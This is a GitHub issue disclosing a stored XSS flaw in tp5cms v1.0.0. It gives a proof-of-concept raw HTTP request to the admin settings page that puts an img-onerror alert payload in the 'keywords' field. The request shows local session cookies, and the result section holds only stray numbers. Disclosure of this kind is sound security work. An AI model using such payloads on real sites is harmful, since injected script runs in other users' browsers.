Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

tp5cms v1.0.0 has XSS vulnerability #8

Open
XD-519 opened this issue Apr 14, 2021 · 0 comments
Open

tp5cms v1.0.0 has XSS vulnerability #8

XD-519 opened this issue Apr 14, 2021 · 0 comments

Comments

@XD-519
Copy link

XD-519 commented Apr 14, 2021

A xss vulnerability was discovered in tp5 v1.0.0
Poc:

POST /tp5cms/admin.php/system/set.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------305965989412446621523406000615
Content-Length: 440
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/tp5cms/admin.php/system/set.html
Cookie: Hm_lvt_e2ecc5a8268ea1a4c9862ec7b4ee5b11=1616071270,1616593944; UIA=LnYsM2ArXDEvK14uYl80MjdiLjIuMi1bMzVkNGA2MS41K18zLF4yXmM0NGMsK2EtLjBfNDIvKjI0NWRfYjYwLjNf; SESSaca5a63f4c2fc739381fab7741d68783=n11Zs1mLNKhaiuuCo-dWUHMUcx6LVhgqmKzBVLUdp0s; __atuvc=1%7C12; PHPSESSID=kiqmpq7bdvenup0sg9t3euflio; Hm_lpvt_e2ecc5a8268ea1a4c9862ec7b4ee5b11=1616643419
Upgrade-Insecure-Requests: 1

-----------------------------305965989412446621523406000615
Content-Disposition: form-data; name="title"

11
-----------------------------305965989412446621523406000615
Content-Disposition: form-data; name="keywords"

"><img src=xss onerror=alert(1)>
-----------------------------305965989412446621523406000615
Content-Disposition: form-data; name="description"

1
-----------------------------305965989412446621523406000615--

Result:
3
4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant